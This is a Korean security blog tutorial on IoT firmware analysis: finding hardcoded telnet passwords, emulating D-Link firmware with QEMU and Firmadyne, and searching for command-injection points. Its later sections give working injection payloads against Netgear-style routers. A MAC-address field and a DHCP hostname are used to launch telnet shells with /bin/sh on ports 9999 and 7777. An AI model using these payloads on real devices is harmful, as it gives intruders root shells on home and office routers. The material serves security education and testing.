모의해킹/IoT

IOT 기기 분석 - 다운로드 및 추출한 펌웨어 분석하기

경험한사람 2024. 5. 15. 17:03

 

"본 블로그의 모든 정보는 합법적이고 윤리적인 보안 연구와 교육 목적으로만 사용되어야 합니다. 불법적인 해킹 및 악의적인 활동에 사용될 경우, 그 책임은 전적으로 사용자에게 있습니다."

 

다운로드 및 추출한 펌웨어 분석하기

 

  개요 
     다운로드 및 추출한 펌웨어(Firmware)를 분석해보자
      ※ 펌웨어는 컴퓨팅과 공학 분야에서 특정 하드웨어 장치(read-only memory, ROM)에 포함된 소프트웨어로, 소프트웨어를 읽어 실행하거나, 수정하는 것도 가능한 영구적 소프트웨어(permanant software)를 뜻한다.

 

□  인증정보 위치 확인하기
    1. 인증정보를 확인하기 위해 겟싱 진행

      - 예) root, admin, telnet, password, passwd, config, *.conf

           ※  겟싱(guessing)"은 시스템의 보안 취약점을 찾아내기 위해 추측이나 추정 방법을 사용하는 것을 의미합니다. 이는 보안 테스터가 시스템, 애플리케이션, 또는 네트워크의 약점을 발견하기 위해 다양한 가능성을 시도하는 과정입니다.

 

    2. 텔넷과 관련한 인증정보 찾기

      -  grep 명령어를 이용하여 인증정보가 있는파일을 확인

          >  grep -inr 'telnet'   

[그림1] grep을 이용한 telnet 문구 찾기

 

      -  grep 을 통해 확인된 인증정보를 참조하는 파일 확인

          >  cat (중략) telnetd.sh   

[그림2] 인증정보 파일

 

      -  하드코딩된 패스워드 확인

[그림3] 패스워드 정보

 

 

□  QEMU를 이용하여 VM 실행하기
    1.
아키텍처가 다르더라도 해당 아키텍처에 맞는환경을 QEMU로 매칭 후 실행가능

        ※  QEMU(Quick Emulator)는 가상화 소프트웨어 가운데 하나다. Fabrice Bellard가 만들었으며 x86 이외의 기종을 위해 만들어진 소프트웨어 스택 전체를 가상머신 위에서 실행할 수 있다.

[그림4] QEMU를 통한 VM 실행

 

          >  qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -redir tcp:3080::80 -redir tcp:3022::22   

[그림5] QEMU를 통해 VM 동작 화면

 

□  Firmadyne를 이용하여 펌웨어 실행하기(가상환경)
    1. 파이썬을 이용하여 Firmadyne 실행

        ※  Firmadyne는 펌웨어 분석 및 에뮬레이션을 위한 자동화 도구입니다. 주로 IoT(Internet of Things) 장치의 펌웨어를 분석하여 보안 취약점을 찾아내는 데 사용됩니다. Firmadyne는 다양한 펌웨어 이미지를 리버스 엔지니어링하고, 이 이미지를 QEMU를 사용하여 에뮬레이션하는 기능을 제공합니다. 이를 통해 실제 하드웨어 없이도 펌웨어의 동작을 분석하고 테스트할 수 있습니다.

 

          >  python ./fat.py dir600b_v2.03.bin   

 

[그림6] Firmadyne 를 이용한 펌웨어 실행

 

    2. 실행(기동)중인 화면

[그림7] Firmadyne 기동 화면

 

    3. 실행된 웹 화면(D-Link)

[그림8] Firmadyne 을 통해 실행된 D-Link

 

[그림8] Firmadyne 을 통해 실행된 D-Link

 

    4. Firmadyne 종료방법 : Ctrl + A 누른후 X

 

□  취약점 찾기 팁
    1. index.html 파일은 일반사용자 메뉴만 보이나, index.asp 호출 시 관리자메뉴가 보인다.

    2. 공유기 텔넷 접속시 보이는 텍스트를 기준으로 전체파일을 겟싱해본다.

    3. * 커멘드인젝션이 가능한 페이지가 있는지 확인한다.

       - 커멘드기능을 사용하기 위해서 필요한 함수가 포함된 파일을 검색한다.

 

□  시스템 명령어를 사용하는 함수 찾기 팁 (* 커멘드인젝션 포인트 찾기)
    1. egrep -r "passthru\(" ./

    2. egrep -r "exec\(" ./

    3. egrep -r "execute\(" ./

    4. egrep -r "eval\(" ./

 

 

□  공유기 MAC입력값 검증페이지를 통한 시스템 명령어 실행
    1. MAC 패턴(유효성)을 검증하는 자바스크립트를 우회하여 시스템명령어 실행이 가능 함.

        - MAC값 + 시스템 코드

[그림9] 넷기어 공유기 MAC 등록 페이지

 

    2. 웹 브라우저 요청(Request) 및 응답(Response) 확인을 위해 웹 프록시 설정

[그림10] Firefox 브라우저 프록시 설정

 

    3. 웹 프록시 툴(BurpSuite)을 이용하여 JS 인증 우회후 백쿼터(`) 값을 입력하여 시스템 명령어를 실행

       - 문자열을 입력받으므로 백쿼터(`)를 활용함

 

    4. 텔넷포트로 시스템 권한을 획득하는 커멘드 삽입

          >  macAddress=112233445566` telnettd -p 9999 -l /bin/sh`&reginfo=0&writeData=Submit   

        ※  텟넬을 9999 포트로 오픈 후 리스닝 상태이며, 9999 포트로 접속 시 /bin/sh 을 실행하라는 의미

[그림11] MAC 입력창에 시스템 명령어 삽입

 

    5. 9999 포트 접속 시 시스템 쉘 권한을 획득 완료

          >  telnet 192.168.0.100. 9999   

[그림12] 시스템 쉘 권한 획득

 

□  C로 컴파일된 CGI파일을 분석 하기

        ※  CGI(Common Gateway Interface) 파일은 웹 서버와 외부 프로그램 간의 상호 작용을 가능하게 하는 표준 방식입니다. CGI 파일은 일반적으로 서버 측에서 실행되는 스크립트나 프로그램으로, 웹 서버가 요청을 받았을 때 이를 실행하여 동적인 웹 페이지를 생성하는 역할을 합니다.

 

    1. 펌웨어 파일내 system 함수를 사용하는 포인트가 있는지 확인 한다.

          >  egrep -r system ./   

[그림13] system 함수를 사용하는 파일 찾기

 

    2. 분석할 파일을 PC로 복사 후 IDA 실행

[그림14] IDA 실행

 

    3. 기본 아키텍처 확인

[그림15] 기본 아키텍처 확인

 

    4. Ctrl + F(찾기)로 system 함수를 사용하는 포인트 확인

[그림16] system 사용 함수 포인트 확인

 

□  공유기에서 DHCP로 접속한 호스트들의 hostname을 참조하는 기능을 활용하여 접속하는 시스템의 hostname에 시스템 명령어를 삽입 후 공유기 접속
    1. 공유기로 접속할 PC 컴퓨터이름(hostname)에 백도어 코드 삽입

          >  hostname test;/sbin/iptables -A INPUT -p tcp --dport 7777 -j ACCEPT; /sbin/utelnetd -i br0 -l /bin/sh -p 7777;   

    2. 호스트네임 설정 상태 확인

[그림17] 호스트 네임 확인

 

    3. 공유기를 통해 DHCP IP를 부여받을 경우 텔넷 백도어가 활성화 됨.

[그림18] 텔넷 백도어 접속

 

이상.  끝.